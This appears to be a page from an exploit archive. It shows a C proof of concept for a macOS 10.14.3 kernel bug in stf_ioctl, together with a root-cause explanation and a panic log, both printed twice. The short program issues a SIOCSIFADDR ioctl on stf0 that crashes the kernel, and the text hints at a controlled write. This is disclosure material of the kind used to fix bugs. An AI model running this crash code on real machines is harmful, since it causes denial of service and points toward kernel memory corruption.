1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 |
/* # Reproduction Tested on macOS 10.14.3: $ clang -o stf_wild_read stf_wild_read.cc $ ./stf_wild_read # Explanation SIOCSIFADDR is an ioctl that sets the address of an interface. The stf interface ioctls are handled by the stf_ioctl function. The crash occurs in the following case where a <code>struct ifreq is read into kernel memory and then casted to the incorrect struct ifaddr</code> type. I suspect this ioctl is not intended to be reachable by the user, but is unintentionally exposed without the necessary translation from <code>ifreq</code> to <code>ifaddr</code>, e.g. as it is done in <code>inctl_ifaddr</code>. case SIOCSIFADDR: ifa = (struct ifaddr *)data; if (ifa == NULL) { error = EAFNOSUPPORT; break; } IFA_LOCK(ifa); if (ifa->ifa_addr->sa_family != AF_INET6) { // <- crash here IFA_UNLOCK(ifa); error = EAFNOSUPPORT; break; } Note that IFA_LOCK is called on user-provided data; it appears that there is an opportunity for memory corruption (a controlled write) when using indirect mutexes via LCK_MTX_TAG_INDIRECT (see lck_mtx_lock_slow). # Crash Log panic(cpu 6 caller 0xffffff80112da29d): Kernel trap at 0xffffff80114a2ec8, type 14=page fault, registers: CR0: 0x0000000080010033, CR2: 0x0000000000000001, CR3: 0x00000005e4ea1168, CR4: 0x00000000003626e0 RAX: 0x0000000000000000, RBX: 0x000000000000002f, RCX: 0x0000000002000000, RDX: 0x0000000003000000 RSP: 0xffffffa3d2a1bb90, RBP: 0xffffffa3d2a1bbb0, RSI: 0xffffffa3d2a1bd10, RDI: 0x0000000000000000 R8:0xffffff805f9db7f0, R9:0x000000000000002d, R10: 0xffffff805e210100, R11: 0x0000000000000000 R12: 0x0000000000000020, R13: 0xffffff805e20fcb8, R14: 0xffffff805e20fcb8, R15: 0xffffffa3d2a1bd10 RFL: 0x0000000000010246, RIP: 0xffffff80114a2ec8, CS:0x0000000000000008, SS:0x0000000000000010 Fault CR2: 0x0000000000000001, Error code: 0x0000000000000000, Fault CPU: 0x6, PL: 0, VF: 0 Backtrace (CPU 6), Frame : Return Address 0xffffffa3d2a1b660 : 0xffffff80111aeb0d mach_kernel : _handle_debugger_trap + 0x48d 0xffffffa3d2a1b6b0 : 0xffffff80112e8653 mach_kernel : _kdp_i386_trap + 0x153 0xffffffa3d2a1b6f0 : 0xffffff80112da07a mach_kernel : _kernel_trap + 0x4fa 0xffffffa3d2a1b760 : 0xffffff801115bca0 mach_kernel : _return_from_trap + 0xe0 0xffffffa3d2a1b780 : 0xffffff80111ae527 mach_kernel : _panic_trap_to_debugger + 0x197 0xffffffa3d2a1b8a0 : 0xffffff80111ae373 mach_kernel : _panic + 0x63 0xffffffa3d2a1b910 : 0xffffff80112da29d mach_kernel : _kernel_trap + 0x71d 0xffffffa3d2a1ba80 : 0xffffff801115bca0 mach_kernel : _return_from_trap + 0xe0 0xffffffa3d2a1baa0 : 0xffffff80114a2ec8 mach_kernel : _stfattach + 0x558 0xffffffa3d2a1bbb0 : 0xffffff80114632b7 mach_kernel : _ifnet_ioctl + 0x217 0xffffffa3d2a1bc10 : 0xffffff801145bb54 mach_kernel : _ifioctl + 0x2214 0xffffffa3d2a1bce0 : 0xffffff8011459a54 mach_kernel : _ifioctl + 0x114 0xffffffa3d2a1bd80 : 0xffffff801145f9cf mach_kernel : _ifioctllocked + 0x2f 0xffffffa3d2a1bdb0 : 0xffffff80116f5718 mach_kernel : _soo_select + 0x5e8 0xffffffa3d2a1be00 : 0xffffff80116990ab mach_kernel : _fo_ioctl + 0x7b 0xffffffa3d2a1be30 : 0xffffff80116eefac mach_kernel : _ioctl + 0x52c 0xffffffa3d2a1bf40 : 0xffffff80117b62bb mach_kernel : _unix_syscall64 + 0x26b 0xffffffa3d2a1bfa0 : 0xffffff801115c466 mach_kernel : _hndl_unix_scall64 + 0x16 */ #include <stdio.h> #include <sys/types.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <unistd.h> #include <net/if.h> #include <string.h> /* # Reproduction Tested on macOS 10.14.3: $ clang -o stf_wild_read stf_wild_read.cc $ ./stf_wild_read # Explanation SIOCSIFADDR is an ioctl that sets the address of an interface. The stf interface ioctls are handled by the stf_ioctl function. The crash occurs in the following case where a <code>struct ifreq is read into kernel memory and then casted to the incorrect struct ifaddr</code> type. I suspect this ioctl is not intended to be reachable by the user, but is unintentionally exposed without the necessary translation from <code>ifreq</code> to <code>ifaddr</code>, e.g. as it is done in <code>inctl_ifaddr</code>. case SIOCSIFADDR: ifa = (struct ifaddr *)data; if (ifa == NULL) { error = EAFNOSUPPORT; break; } IFA_LOCK(ifa); if (ifa->ifa_addr->sa_family != AF_INET6) { // <- crash here IFA_UNLOCK(ifa); error = EAFNOSUPPORT; break; } Note that IFA_LOCK is called on user-provided data; it appears that there is an opportunity for memory corruption (a controlled write) when using indirect mutexes via LCK_MTX_TAG_INDIRECT (see lck_mtx_lock_slow). # Crash Log panic(cpu 6 caller 0xffffff80112da29d): Kernel trap at 0xffffff80114a2ec8, type 14=page fault, registers: CR0: 0x0000000080010033, CR2: 0x0000000000000001, CR3: 0x00000005e4ea1168, CR4: 0x00000000003626e0 RAX: 0x0000000000000000, RBX: 0x000000000000002f, RCX: 0x0000000002000000, RDX: 0x0000000003000000 RSP: 0xffffffa3d2a1bb90, RBP: 0xffffffa3d2a1bbb0, RSI: 0xffffffa3d2a1bd10, RDI: 0x0000000000000000 R8:0xffffff805f9db7f0, R9:0x000000000000002d, R10: 0xffffff805e210100, R11: 0x0000000000000000 R12: 0x0000000000000020, R13: 0xffffff805e20fcb8, R14: 0xffffff805e20fcb8, R15: 0xffffffa3d2a1bd10 RFL: 0x0000000000010246, RIP: 0xffffff80114a2ec8, CS:0x0000000000000008, SS:0x0000000000000010 Fault CR2: 0x0000000000000001, Error code: 0x0000000000000000, Fault CPU: 0x6, PL: 0, VF: 0 Backtrace (CPU 6), Frame : Return Address 0xffffffa3d2a1b660 : 0xffffff80111aeb0d mach_kernel : _handle_debugger_trap + 0x48d 0xffffffa3d2a1b6b0 : 0xffffff80112e8653 mach_kernel : _kdp_i386_trap + 0x153 0xffffffa3d2a1b6f0 : 0xffffff80112da07a mach_kernel : _kernel_trap + 0x4fa 0xffffffa3d2a1b760 : 0xffffff801115bca0 mach_kernel : _return_from_trap + 0xe0 0xffffffa3d2a1b780 : 0xffffff80111ae527 mach_kernel : _panic_trap_to_debugger + 0x197 0xffffffa3d2a1b8a0 : 0xffffff80111ae373 mach_kernel : _panic + 0x63 0xffffffa3d2a1b910 : 0xffffff80112da29d mach_kernel : _kernel_trap + 0x71d 0xffffffa3d2a1ba80 : 0xffffff801115bca0 mach_kernel : _return_from_trap + 0xe0 0xffffffa3d2a1baa0 : 0xffffff80114a2ec8 mach_kernel : _stfattach + 0x558 0xffffffa3d2a1bbb0 : 0xffffff80114632b7 mach_kernel : _ifnet_ioctl + 0x217 0xffffffa3d2a1bc10 : 0xffffff801145bb54 mach_kernel : _ifioctl + 0x2214 0xffffffa3d2a1bce0 : 0xffffff8011459a54 mach_kernel : _ifioctl + 0x114 0xffffffa3d2a1bd80 : 0xffffff801145f9cf mach_kernel : _ifioctllocked + 0x2f 0xffffffa3d2a1bdb0 : 0xffffff80116f5718 mach_kernel : _soo_select + 0x5e8 0xffffffa3d2a1be00 : 0xffffff80116990ab mach_kernel : _fo_ioctl + 0x7b 0xffffffa3d2a1be30 : 0xffffff80116eefac mach_kernel : _ioctl + 0x52c 0xffffffa3d2a1bf40 : 0xffffff80117b62bb mach_kernel : _unix_syscall64 + 0x26b 0xffffffa3d2a1bfa0 : 0xffffff801115c466 mach_kernel : _hndl_unix_scall64 + 0x16 */ #define IPPROTO_IP 0 int main() { int s = socket(AF_SYSTEM, SOCK_DGRAM, IPPROTO_IP); if (s < 0) { printf("failed\n"); return 1; } struct ifreq ifr = {}; memcpy(ifr.ifr_name, "stf0\0000", 8); int err = ioctl(s, SIOCSIFADDR, (char *)&ifr); close(s); printf("done\n"); return 0; } |